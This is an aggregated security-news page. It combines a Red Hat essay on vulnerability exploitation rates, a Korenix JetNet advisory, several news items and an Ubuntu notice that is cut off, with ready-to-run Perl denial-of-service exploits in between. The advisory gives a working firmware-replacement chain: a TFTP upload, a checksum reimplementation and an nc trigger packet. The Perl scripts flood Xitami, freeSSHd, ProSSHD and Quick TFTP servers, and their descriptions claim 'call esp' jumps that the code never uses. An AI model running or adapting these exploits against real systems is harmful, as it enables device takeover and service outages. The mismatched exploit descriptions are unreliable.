This is the second part of Vincent Danen’s “Patch management needs a revolution” series. The first post can be read here.When I started working in the security field over 20 years ago, CVE (Common Vulnerabilities and Exposures) had just been created. In 1999, MITRE, a US-based Federally Funded Research and Development Corporation (FFRDC) was established to advance national security, creating the CVE program as a way of cataloging vulnerabilities so that any single vulnerability could be distinguished from another. It was a few years before it gained wider adoption and longer yet to be co

_This is the second part of Vincent Danen’s “Patch management needs a revolution” series. The first post can be read_ _here__._

When I started working in the security field over 20 years ago, CVE (Common Vulnerabilities and Exposures) had just been created. In 1999, MITRE, a US-based Federally Funded Research and Development Corporation (FFRDC) was established to advance national security, creating the CVE program as a way of cataloging vulnerabilities so that any single vulnerability could be distinguished from another. It was a few years before it gained wider adoption and longer yet to be considered more or less mainstream (although the truth is, even today, not every vulnerability has an associated CVE, nor is every CVE an actual vulnerability!). It was certainly miles ahead of what we used to do; back then if there were two vulnerabilities in sendmail you had to refer to them by the vulnerable function or, if you were lucky, a Bugtraq ID (or BID) had been assigned.

It’s worth looking at the number of vulnerabilities that were being discovered back then. In 1999, there were 894 vulnerabilities in the CVE database. For 2023 that number is over 29000 entries. You can see that progression with the CVE Details data by year. That’s more than a 3100% increase over 24 years. What was 74 vulnerabilities per month, on average, is now over 2,400 per month. That’s a significant increase!

Now this can be attributed to a number of factors, but these are likely the most significant: the sheer volume of software due to the swift, exponential growth of advanced and complex technology and the digital transformation of data and processes that were once manual. If we compared just lines of code from then to now, the increase would be staggering and still wouldn’t account for the amount of changed code. There have been some attempts to quantify just how much code has been written: Medium estimates 93B lines of code each year, and a visualization of lines of code in software shows just how complex software has become. The Linux kernel itself, based on the Linux Foundation’s 2020 Linux Kernel History Report shows how much code is created and changes in just one (albeit very complex) piece of software. And what this code now processes is increasingly larger and more complex; in short we are handling more data, and more important data, than ever before and creating new technology to manage it more efficiently.

Now here’s where things become more interesting, at least to me. If we refer back to NISTIR 5153, published in 1993, there appears to be no explicit mention of patching or updating software. Most of it addresses restrictions around the use of software, proper configuration, and monitoring. At some point, patching systems became a best practice – and it is! If updated software is available, it is absolutely the prudent thing to apply the software update, particularly when it fixes a security issue. This is common knowledge and is based on the premise that risk is reduced when a security vulnerability is patched.

**Vulnerability exploitation**

There are four general states of a flaw in software: not affected, affected but not vulnerable, vulnerable, and exploited. A flaw might affect a particular version of software and that same software, before it was introduced or after it was fixed, is not affected. The software might have the flaw present in the code, but is not used in a way that makes it vulnerable – this is pertinent in software with dependencies that, while including a dependency with a flaw, might not use it in a way that makes the dependent software vulnerable. Of course, the software could very well use that code in the particular way that makes the flaw vulnerable to exploitation, and the final state is the software is known to be actively exploited.

More often than not, flaws are discussed in terms of either affected or vulnerable – in other words only whether or not the vulnerable code is present. What isn’t widely discussed are exploitation rates. Given a piece of vulnerable software, what is the probability that it will be exploited? Demonstrably these are quite low and we can validate that with public information. One great source of information is CISA’s KEV or Known Exploited Vulnerabilities list. This list is not exhaustive, but it should be representative, given it’s created by the US Cybersecurity and Infrastructure Security Agency. I’ll make the assertion that it is as trustworthy, if not more so, than the NIST National Vulnerability Database, another US government database. And since most scanning tools and users trust the NVD implicitly, we’ll extend the same courtesy to the KEV.

VulnCheck provided a great breakdown of the KEV in their 2022 Exploited Vulnerability Report and I’ll highlight some of the specific findings here. Read the report for all the details though, it’s not long and worth reading.

From 2002 to 2021 there were 311 known exploited vulnerabilities on the KEV list. According to CVE Details, in that same timeframe, there were nearly 163,000 CVE’s assigned, most (but not all) being vulnerabilities.

2022 had a significant leap in new KEVs by adding 557 to the list. 2022 also had 25,082 CVEs added. At a first glance, we could assume an exploitation rate of 2.2% but only 93 of those 557 were for a 2022 CVE, or 17% of all the KEVs added that year. That means the actual exploitation rate of a vulnerability, exploited in the same year it was found, was actually 93 out of 25,082, or 0.37%. The majority of the KEVs listed in 2022 were for vulnerabilities made public in prior years, even as far back as 2002. Incidentally, this highlights the importance of applying available patches and upgrading software when patches are available!

CISA got serious about the KEV in 2021 due to their Binding Operational Directive 22-01. A lot of what was added in 2022 were for things we’re pretty sure were being exploited well before then. Either way, the large jump in 2022 isn’t the significant part (although it’s great to see the additions). The significance is that only 0.37% of reported vulnerabilities were known to be exploited within the same calendar year. CISA acknowledges in this same report that “based on a study of historical vulnerability data dating back to 2019, less than 4% of all known vulnerabilities have been used by attackers in the wild.”

Interestingly, a joint paper was released by a consortium, including CISA, NSA and FBI, advising about the top exploited vulnerabilities in 2022. The paper highlighted that exploitation of unpatched systems, when a patch was available, was the top contributor to security events. They note that, of the more than 25,000 vulnerabilities reported in 2022, only five are within the top 12 software vulnerabilities exploited during the same calendar year. The rest? Older vulnerabilities that had patches available and were not applied. In the top 12, the only open source software was Log4j (rated Critical). Of the other 30 listed as commonly exploited, only seven are open source (affecting Spring Cloud (Critical), Zimbra (Important and Moderate), Apache httpd (Important) and Log4j (Moderate)). Of these 42, only eight affected open source, and only two of them were rated Moderate.

For Red Hat products specifically, and as per the 2022 Red Hat Product Security Risk Report, we saw exploitation of 0.4% of the total vulnerabilities affecting Red Hat products, the bulk of these in Critical and Important vulnerabilities. Of the nearly 1,400 Low and Moderate CVEs affecting our products, only two were known to be exploited.

Based on the 121 KEVs for 2023, against 23,745 CVEs (as per National Vulnerability Database) the exploitation rates are the same: only 0.51% of the 2023 CVEs in the NVD have an associated exploit. Exploitation rates against Red Hat software in 2023 will be available when the 2023 Red Hat Product Security Risk Report is published in February.

From this we can reasonably conclude that exploitation of known vulnerabilities is extremely low. It’s not to say that it doesn’t happen (it does), but the occurrences are quite limited. We can also determine, again based on our risk report, that those vulnerabilities rated Critical and Important are more likely to be exploited. In 2022, that was 10.5% and 1.1% respectively, in terms of exploitation rates. That said, if those vulnerabilities do get exploited, the impact could be much more severe. This is because Critical and Important vulnerabilities are those that lead to privilege escalation, can be exploited remotely without authentication, may not require user interaction and lead to a system compromise or denial of service. Red Hat uses an industry-standard four-point rating scale that objectively determines severity based on these characteristics.

Now we’ve looked at the exploitation rate of vulnerabilities even in the face of the constant deluge of potential vulnerabilities. It should be easy to look to trusted third-parties and research agencies for a singular score that highlights how severe a given problem might be, right? It’s…not quite that easy and something I’ll tackle in my next post.

Vincent Danen lives in Canada and is the Vice President of Product Security at Red Hat. He joined Red Hat in 2009 and has been working in the security field, specifically around Linux, operating security and vulnerability management, for over 20 years.

Read full bio

Patch management needs a revolution, part 2: The flood of vulnerabilities

Korenix JetNet Series allows TFTP without authentication and also allows for unauthenticated firmware upgrades.

    CyberDanube Security Research 20240109-0-------------------------------------------------------------------------------                title| Multiple Vulnerabilities              product| Korenix JetNet Series   vulnerable version| See "Vulnerable versions"        fixed version| -           CVE number| CVE-2023-5376, CVE-2023-5347               impact| High             homepage| https://www.korenix.com/                found| 2023-08-31                   by| S. Dietz (Office Vienna)                     | CyberDanube Security Research                     | Vienna | St. Pölten                     |                     | https://www.cyberdanube.com-------------------------------------------------------------------------------Vendor description-------------------------------------------------------------------------------"Korenix Technology, a Beijer group company within the Industrial Communicationbusiness area, is a global leading manufacturer providing innovative, market-oriented, value-focused Industrial Wired and Wireless Networking Solutions.With decades of experiences in the industry, we have developed various productlines [...].Our products are mainly applied in SMART industries: Surveillance, Machine-to-Machine, Automation, Remote Monitoring, and Transportation. Worldwide customerbase covers different Sales channels, including end-customers, OEMs, systemintegrators, and brand label partners. [...]"Source: https://www.korenix.com/en/about/index.aspx?kind=3Vulnerable versions-------------------------------------------------------------------------------Tested on emulated Korenix JetNet 5310G / v2.6All vulnerable models/versions according to vendor:JetNet 4508 (4508i-w V1.3, 4508 V2.3, 4508-w V2.3)JetNet 4508f, 4508if (4508if-s V1.3,4508if-m V1.3, 4508if-sw V1.3,       4508if-mw V1.3, 4508f-m V2.3, 4508f-s V2.3, 4508f-mw V2.3,       4508f-sw V2.3)JetNet 5620G-4C V1.1JetNet 5612GP-4F V1.2JetNet 5612G-4F V1.2JetNet 5728G (5728G-24P-AC-2DC-US V2.1, 5728G-24P-AC-2DC-EU V2.0)JetNet 528Gf (6528Gf-2AC-EU V1.0, 6528Gf-2AC-US V1.0, 6528Gf-2DC24 V1.0,       6528Gf-2DC48 V1.0, 6528Gf-AC-EU V1.0, 6528Gf-AC-US V1.0)JetNet 6628XP-4F-US V1.1JetNet 6628X-4F-EU V1.0JetNet 6728G (6728G-24P-AC-2DC-US V1.1, 6728G-24P-AC-2DC-EU V1.1)JetNet 6828Gf (6828Gf-2DC48 V1.0, 6828Gf-2DC24 V1.0, 6828Gf-AC-DC24-US V1.0,       6828Gf-2AC-US V1.0, 6828Gf-AC-US V1.0, 6828Gf-2AC-AU V1.0,       6828Gf-AC-DC24-EU V1.0, 6828Gf-2AC-EU V1.0)JetNet 6910G-M12 HVDC V1.0JetNet 7310G-V2 2.0JetNet 7628XP-4F-US V1.0, 7628XP-4F-US V1.1, 7628XP-4F-EU V1.0,       7628XP-4F-EU V1.1JetNet 7628X-4F-US V1.0, 7628X-4F-EU V1.0JetNet 7714G-M12 HVDC V1.0Vulnerability overview-------------------------------------------------------------------------------1) TFTP Without Authentication (CVE-2023-5376)The available tftp service is accessable without user authentication. Thisallows the user to upload and download files to the restricted "/home" folder.2) Unauthenticated Firmware Upgrade (CVE-2023-5347)A critical security vulnerability has been identified that may allow anunauthenticated attacker to compromise the integrity of a device or cause adenial of service (DoS) condition. This vulnerability resides in the firmwareupgrade process of the affected system.Proof of Concept-------------------------------------------------------------------------------1) TFTP Without Authentication (CVE-2023-5376)The Linux tftp client was used to upload a firmware to the absolute path"/home/firmware.bin":# tftp $IPtftp> put exploit.bin /home/firmware.binSent 5520766 bytes in 5.7 seconds2) Unauthenticated Firmware Upgrade (CVE-2023-5347)Unauthenticated attackers can exploit this by uploading malicious firmware viaTFTP and initializing the upgrade process with a crafted UDP packet on port5010.We came to the conclusion that the firmware image consists of multiplesections. Our interpretation of these can be seen below:===============================================================================class FirmwarePart:    def init(self, name, offset, size):        self.name = name        self.offset = offset        self.size = sizefirmware_parts = [    FirmwarePart("uimage_header", 0x0, 0x40),    FirmwarePart("uimage_kernel", 0x40, 0x3c54),    FirmwarePart("gzip", 0x3c94, 0x14a000 - 0x3c94),    FirmwarePart("squashfs", 0x14a000, 0x539000 - 0x14a000),    FirmwarePart("metadata", 0x539000, 5480448 - 0x539000),]===============================================================================The squashfs includes the rootfs. Metadata includes a 4 byte checksum whichneeds to be modified when repacked. During our analysis we observed that thechecksum gets calculated over all sections except metadata. To test thisvulnerability we reimplemented the checksum calculation at offset 0x9bdc inthe binary "/bin/cmd-server2":===============================================================================#include <stdio.h>#include <stdint.h>#include <stdlib.h>int32_t check_file(const char* arg1) {    FILE* r0 = fopen(arg1, "rb");    if (!r0) {        return 0xffffffff;    }    int32_t filechecksum = 0;    int32_t last_data_size = 0;    int32_t file_size = 0;    uint8_t data_buf[4096];    int32_t data_len = 1;    while (data_len > 0) {        data_len = fread(data_buf, 1, sizeof(data_buf), r0);        if (data_len == 0) {            break;        }        int32_t counter = 0;        while (counter < (data_len >> 2)) {            int32_t byte_at_counter = *((int32_t*)(data_buf + (counter << 2)));            counter++;            filechecksum += byte_at_counter;        }        file_size += data_len;        last_data_size = data_len;    }    fclose(r0);    if (last_data_size < 0x400 || (last_data_size >= 0x400 && (file_size - 0x14a  000) > 0x5ac000)) {        return 0xffffffff;    }    data_len = 0;    while (data_len < (last_data_size >> 2)) {        int32_t r3_2 = *((int32_t*)(data_buf + (data_len << 2)));        data_len++;        filechecksum -= r3_2;    }    return filechecksum;}int main(int argc, char* argv[]) {    if (argc != 2) {        printf("Usage: %s <file_path>\n", argv[0]);        return 1;    }    int32_t result = check_file(argv[1]);    printf("0x%x\n", result);    return 0;}===============================================================================After modifying and repacking the squashfs, we calculated the checksum,patched the required bytes in the metadata section (offset 0x11b-0x11e) andinitilized the update process.===============================================================================# tftp $IPtftp> put exploit.bin /home/firmware.binSent 5520766 bytes in 5.7 seconds# echo -e "\x00\x00\x00\x1f\x00\x00\x00\x01\x01" | nc -u $IP 5010===============================================================================The output of the serial console can be observed below:===============================================================================Jan  1 00:01:00 Jan  1 00:01:00 syslog: UDP cmd is receivedJan  1 00:01:00 Jan  1 00:01:00 syslog: management vlan = sw0.0Jan  1 00:01:00 Jan  1 00:01:00 syslog: setsockopt(SO_BINDTODEVICE) No such deviJan  1 00:01:00 Jan  1 00:01:00 syslog: tlv_count = 0Jan  1 00:01:00 Jan  1 00:01:00 syslog: rec_bytes = 10Jan  1 00:01:00 Jan  1 00:01:00 syslog: command TLV_FW_UPGRADE receivedcheck firmware...checksum=b2256313, inFileChecksum=b2256313Firmware upgrading, don't turn off the switch!Begin erasing flash:.Write firmware.bin (5480448 Bytes) to flash:...Write finished...Terminating child processes...Jan  1 00:01:01 Jan  1 00:01:01 syslog: first time create tlv_chainJan  1 00:01:01 syslogd exitingFirmware upgrade success!!waiting for reboot command .......===============================================================================The vulnerabilities were manually verified on an emulated device by using theMEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).Solution-------------------------------------------------------------------------------Beijer/Korenix provided a workaround to mitigate the vulnerabilities until aproper patch is available (see "Workaround" section).Workaround-------------------------------------------------------------------------------Beijer representatives provided the following workaround for mitigating thevulnerabilities on devices of the JetNet series:"Login by terminal:Switch# configure terminalSwitch(config)# service ipscan disableSwitch(config)# tftpd disableSwitch(config)# copy running-config startup-config"Source: https://www.beijerelectronics.com/en/support/Help___online?docId=69947This commands should be used to deactivate the TFTP daemon on the device toprevent unauthenticated actors from abusing the service.Recommendation-------------------------------------------------------------------------------Regardless to the current state of the vulnerability, CyberDanube recommendscustomers from Korenix to upgrade the firmware to the latest version available.Furthermore, a full security review by professionals is recommended.Contact Timeline-------------------------------------------------------------------------------31-08-2023: Contacting Beijer Electronics Group via cs@beijerelectronics.com.31-08-2023: Receiving contact information. Send vulnerability information.26-09-2023: Asking about vulnerability status and receiving update release date.27-10-2023: Received update from contact regarding the firmware update.29-11-2023: Meeting with contact stating that it effects the whole series.31-11-2023: Meeting to discuss potential solutions.11-12-2023: Release delayed due to lack of workaround from manufacturer.21-12-2023: Manufacturer provides workaround. Release date confirmed.09-01-2024: Coordinated release of security advisory.Web: https://www.cyberdanube.comTwitter: https://twitter.com/cyberdanubeMail: research at cyberdanube dot comEOF Sebastian Dietz / @2024

Korenix JetNet Series Unauthenticated Access

Xitami version 2.5 remote denial of service exploit.

#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: Xitami 2.5 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 14 january 2024  
# Vendor Homepage: https://imatix-legacy.github.io/xitami.com/  
# Download to demo: https://drive.google.com/file/d/1Uw9fCQ9T3IBqn53pS2lETUCM6zzYDSb8/view?usp=sharing  
# Notification vendor: No reported  
# Tested Version: Xitami 2.5   
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
# Vídeo: https://www.youtube.com/watch?v=tutFcL3Gh8I

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The server did not properly handle request with large amounts of data to webserver.  
#The following request sends a large amount of data to the webserver to process, the server will crash as soon as it is received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){  
      $cmd="cls";  
    } else {  
      $cmd="clear";  
    }

    system("$cmd");

        intro();  
    main();

print "\t    ==> Connecting to webserver... \n\n";  
sleep(1);

    $exploit  = "A"*939;

if ($socket = IO::Socket::INET->new  
   (PeerAddr => $ip,  
   PeerPort => $port,   
   Proto => "TCP"))

       {   
    $header =  
    "GET / HTTP/1.1\r\n".  
    "Host: ".$target." \r\n".  
    "If-Modified-Since: AAAAAAAAAAAAA "." $exploit\r\n";

    print $socket $header."\r\n";  
    sleep(1);  
    close($socket);  
    }

else  
  {  
  print "[-] Connection to $target failed!\n";  
  } 

            print "\t    ==> Done! Exploited!";  
   sub intro {  
      print q {

     _________  
    |         |  
    | Exploit |==( )    //////  
    |_________|   |||   | o o|                   
                    ||| ( c  )                  ____  
                     ||| \= /                  ||   \_  
                      ||||||                   ||     |  
                      ||||||                ...||__/|-"  
                      ||||||             __|________|__  
                        |||             |______________|  
                        |||             || ||      || ||  
                        |||             || ||      || ||  
      ------------|||-------------||-||------||-||-------  
                        |__>            || ||      || ||          

                              [+] Xitami 2.5 - Denial of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: fernando.mengalli@gmail.com

      }  
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "\n\tUsage: $0 <ip> <port>                 \n";  
        exit(-1);

      }  
  }

Xitami 2.5 Denial Of Service

The environmental services industry witnessed an “unprecedented surge” in HTTP-based distributed denial-of-service (DDoS) attacks, accounting for half of all its HTTP traffic.
This marks a 61,839% increase in DDoS attack traffic year-over-year, web infrastructure and security company Cloudflare said in its DDoS threat report for 2023 Q4 published last week.
“This surge in cyber attacks coincided

Server Security / Cyber Attack

The environmental services industry witnessed an "unprecedented surge" in HTTP-based distributed denial-of-service (DDoS) attacks, accounting for half of all its HTTP traffic.

This marks a 61,839% increase in DDoS attack traffic year-over-year, web infrastructure and security company Cloudflare said in its DDoS threat report for 2023 Q4 published last week.

"This surge in cyber attacks coincided with COP 28, which ran from November 30th to December 12th, 2023," security researchers Omer Yoachimik and Jorge Pacheco said, describing it as a "disturbing trend in the cyber threat landscape."

The uptick in HTTP attacks targeting environmental services websites is part of a larger trend observed annually over the past few years, specifically during COP 26 and COP 27, as well as other United Nations environment-related resolutions or announcements.

"This recurring pattern underscores the growing intersection between environmental issues and cyber security, a nexus that is increasingly becoming a focal point for attackers in the digital age," the researchers said.

Despite the environmental services sector becoming a new target in Q4 2023, the cryptocurrency industry continues to be the primary casualty in terms of the volume of HTTP DDoS attack requests.

With more than 330 billion HTTP requests targeting it, the attack traffic represents more than 4% of all HTTP DDoS traffic for the quarter. Gaming and gambling and telecommunications emerged as the second and third most attacked industries.

On the other end of the spectrum are the U.S. and China, acting as the main sources of HTTP DDoS attack traffic. It's worth noting that the U.S. has been the largest source of HTTP DDoS attacks for five consecutive quarters since Q4 2022.

"Together, China and the U.S. account for a little over a quarter of all HTTP DDoS attack traffic in the world," the researchers said. "Brazil, Germany, Indonesia, and Argentina account for the next 25%."

The development comes amid a heavy onslaught of DDoS attacks targeting Palestinian banking, information technology (IT), and internet platforms following the onset of the Israel-Hamas War and Israel's counteroffensive codenamed Operation Iron Swords.

The percentage of DDoS attack traffic targeting Palestinian websites grew by 1,126% quarter-over-quarter, Cloudflare said, adding DDoS attack traffic targeting Taiwan registered a 3,370% growth amidst the Taiwanese presidential elections and rising tensions with China.

Akamai, which also published its own retrospective on DDoS Trends in 2023, said "DDoS attacks became more frequent, longer, highly sophisticated (with multiple vectors), and focused on horizontal targets (attacking multiple IP destinations in the same attack event)."

The findings also follow a report from Cloudflare about the increasing threat posed by unmanaged or unsecured API endpoints, which could enable threat actors to exfiltrate potentially sensitive information.

"HTTP anomalies — the most frequent threat toward APIs — are common signals of malicious API requests," the company said. "More than half (51.6%) of traffic errors from API origins comprised '429' error codes: 'Too Many Requests.'"

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

DDoS Attacks on the Environmental Services Industry Surge by 61,839% in 2023

freeSSHd version 1.0.9 remote denial of service exploit.

#!/usr/bin/perl

use IO::Socket;

# Exploit Title: freeSSHd 1.0.9 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 13 january 2024  
# Vendor Homepage:  N/A  
# Download to demo:   
# Notification vendor: No reported  
# Tested Version: freeSSHd 1.0.9 - Denial of Service (DoS)  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
# Vídeo: 

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The SSH does not correctly handle the amount of data or bytes sent.  
#When authenticating to the SSH with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){  
      $cmd="cls";  
    } else {  
      $cmd="clear";  
    }

    system("$cmd");

        intro();  
    main();

        print "[+] Exploiting... \n";

my $bufff =  
  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"x18;

    my $payload =  
      "\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" .  
      "\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" .  
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde".("A" x 1067);

    $payload .= $payload;  
    $payload .= "C" x 19021 . "\r\n";

my $i=0;  
while ($i<=18) {  
    my $sock = IO::Socket::INET->new(  
        PeerAddr => $ip,  
        PeerPort => $port,  
        Proto    => 'tcp'  
    ) or die "Cannot connect!\n";

    if (<$sock> eq '') {  
    print "[+] Done - Exploited success!!!!!\n\n";  
    exit;  
    }

    $sock->send($payload) or die "Exploited successuful!!!";

$i++;  
}

     sub intro {  
      print q {

                            _/|       
                           // o\      
                           || ._)    
                           //__\     
                           )___(   

      [+] freeSSHd 1.0.9 - Denied of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: fernando.mengalli@gmail.com

      }  
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";  
        exit(-1);

      }  
  }

freeSSHd 1.0.9 Denial Of Service

ProSSHD version 1.2 20090726 remote denial of service exploit.

    #!/usr/bin/perluse Net::SSH2# Exploit Title: ProSSHD 1.2 20090726 - Denial of Service (DoS)# Discovery by: Fernando Mengali# Discovery Date: 13 january 2024# Vendor Homepage: https://prosshd.com/# Notification vendor: No reported# Tested Version: ProSSHD 1.2 20090726# Tested on: Window XP Professional - Service Pack 2 and 3 - English# Vulnerability Type: Denial of Service (DoS)#1. Description#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).#For this exploit I have tried several strategies to increase reliability and performance:#Jump to a static 'call esp'#Backwards jump to code a known distance from the stack pointer.#The server did not properly handle request with large amounts of data to SSH.#The following request sends a large amount of data to the SSH to process, the server will crash as soon as it is received and processed, causing denial of service conditions.#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.#2. Proof of Concept - PoC    $sis="$^O";    if ($sis eq "windows"){      $cmd="cls";    } else {s      $cmd="clear";    }    system("$cmd");        intro();    main();print "\t    ==> Connecting to webserver... \n\n";sleep(1);my $i=0;    print "\t    ==> Exploiting... \n\n";my $payload  = "\x41" x 500;$connection2 = Net::SSH2->new();$connection2->connect($host, $port) || die "\nError: Connection Refused!\n";$connection2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n";$scpget = $connection2->scp_get($payload);$connection2->disconnect();print "\t    ==> Done! Exploited!";   sub intro {      print q {                              ,--,                       _ ___/ /\|                   ,;'( )__, )  ~                  //  //   '--;                   '   \     | ^                       ^    ^      [+] ProSSHD 1.2 20090726 - Denial of Service (DoS)      [*] Coded by Fernando Mengali      [@] e-mail: fernando.mengalli@gmail.com      }  }  sub main {our ($ip, $port, $username, $password) = @ARGV;      unless (defined($ip) && defined($port)) {        print "\n\tUsage: $0 <ip> <port> <username> <password>           \n";        exit(-1);      }  }#3. Solution/ How to fix:# This version product is deprecated

ProSSHD 1.2 20090726 Denial Of Service

Juniper Networks has released updates to fix a critical remote code execution (RCE) vulnerability in its SRX Series firewalls and EX Series switches.
The issue, tracked as CVE-2024-21591, is rated 9.8 on the CVSS scoring system.
“An out-of-bounds write vulnerability in J-Web of Juniper Networks Junos OS SRX Series and EX Series allows an unauthenticated, network-based attacker to cause a

Vulnerability / Network Security

Juniper Networks has released updates to fix a critical remote code execution (RCE) vulnerability in its SRX Series firewalls and EX Series switches.

The issue, tracked as **CVE-2024-21591**, is rated 9.8 on the CVSS scoring system.

"An out-of-bounds write vulnerability in J-Web of Juniper Networks Junos OS SRX Series and EX Series allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS) or Remote Code Execution (RCE) and obtain root privileges on the device," the company said in an advisory.

The networking equipment major, which is set to be acquired by Hewlett Packard Enterprise (HPE) for $14 billion, said the issue is caused by use of an insecure function allowing a bad actor to overwrite arbitrary memory.

The flaw impacts the following versions, and has been fixed in versions 20.4R3-S9, 21.2R3-S7, 21.3R3-S5, 21.4R3-S5, 22.1R3-S4, 22.2R3-S3, 22.3R3-S2, 22.4R2-S2, 22.4R3, 23.2R1-S1, 23.2R2, 23.4R1, and later -

*   Junos OS versions earlier than 20.4R3-S9
*   Junos OS 21.2 versions earlier than 21.2R3-S7
*   Junos OS 21.3 versions earlier than 21.3R3-S5
*   Junos OS 21.4 versions earlier than 21.4R3-S5
*   Junos OS 22.1 versions earlier than 22.1R3-S4
*   Junos OS 22.2 versions earlier than 22.2R3-S3
*   Junos OS 22.3 versions earlier than 22.3R3-S2, and
*   Junos OS 22.4 versions earlier than 22.4R2-S2, 22.4R3

As temporary workarounds until the fixes are deployed, the company recommends that users disable J-Web or restrict access to only trusted hosts.

Also resolved by Juniper Networks is a high-severity bug in Junos OS and Junos OS Evolved (CVE-2024-21611, CVSS score: 7.5) that could be weaponized by an unauthenticated, network-based attacker to cause a DoS condition.

While there is evidence that the vulnerabilities are being exploited in the wild, multiple security shortcomings affecting the company's SRX firewalls and EX switches were abused by threat actors last year.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Critical RCE Vulnerability Uncovered in Juniper SRX Firewalls and EX Switches

Quick TFTP Server Pro version 2.1 remote denial of service exploit.

#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: Quick TFTP Server Pro 2.1 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 12 january 2024  
# Vendor Homepage: https://www.tallsoft.com/  
# Download to demo: https://drive.google.com/file/d/1Q4tIYjtv9Aqe5VE1fwnT18d3Cc-xkYEX/view?usp=sharing  
# Notification vendor: No reported  
# Tested Version: Quick TFTP Server Pro 2.1  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
# Vídeo: https://www.youtube.com/watch?v=yz7_ImFYueA

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The server did not properly handle request with large amounts of data to TFTP.  
#The following request sends a large amount of data to the TFTP to process, the server will crash as soon as it is received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){  
      $cmd="cls";  
    } else {  
      $cmd="clear";  
    }

    system("$cmd");

        intro();  
    main();

print "\t    ==> Connecting to webserver... \n\n";  
sleep(1);

my $filename = "exploit";

$shell = "A"x317;

my $mode = "A" x 1360;

my $muha = "\x00\x02" .$filename . "\x00" .$mode;

socket(SOCKET, PF_INET, SOCK_DGRAM, getprotobyname('udp')) or die "socket() failed: $!";  
send(SOCKET, $muha, 0, sockaddr_in($port, inet_aton($ip))) or die "send() failed: $!";  

print "\t    ==> Done! Exploited!";  
   sub intro {  
      print q {

     _________  
    |         |  
    | Exploit |==( )    //////  
    |_________|   |||   | o o|                   
                    ||| ( c  )                  ____  
                     ||| \= /                  ||   \_  
                      ||||||                   ||     |  
                      ||||||                ...||__/|-"  
                      ||||||             __|________|__  
                        |||             |______________|  
                        |||             || ||      || ||  
                        |||             || ||      || ||  
      ------------|||-------------||-||------||-||-------  
                        |__>            || ||      || ||          

                              [+] Quick TFTP Server Pro 2.1 - Denial of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: fernando.mengalli@gmail.com

      }  
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "\n\tUsage: $0 <ip> <port>                 \n";  
        exit(-1);

      }  
  }

#3. Solution/ How to fix:

# This version product is deprecated

Quick TFTP Server Pro 2.1 Denial Of Service

Ubuntu Security Notice 6578-1 - Vishal Mishra and Anita Gaud discovered that .NET did not properly validate X.509 certificates with malformed signatures. An attacker could possibly use this issue to bypass an application's typical authentication logic. Morgan Brown discovered that .NET did not properly handle requests from unauthenticated clients. An attacker could possibly use this issue to cause a denial of service.

==========================================================================  
Ubuntu Security Notice USN-6578-1  
January 11, 2024

dotnet6, dotnet7, dotnet8 vulnerabilities  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 23.10  
- Ubuntu 23.04  
- Ubuntu 22.04 LTS

Summary:

Several security issues were fixed in dotnet6, dotnet7, and dotnet8.

Software Description:  
- dotnet6: dotNET CLI tools and runtime  
- dotnet7: dotNET CLI tools and runtime  
- dotnet8: dotNET CLI tools and runtime

Details:

Vishal Mishra and Anita Gaud discovered that .NET did not properly  
validate X.509 certificates with malformed signatures. An attacker  
could possibly use this issue to bypass an application's typical  
authentication logic. (CVE-2024-0057)

Morgan Brown discovered that .NET did not properly handle requests from  
unauthenticated clients. An attacker could possibly use this issue to  
cause a denial of service. (CVE-2024-21319)

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

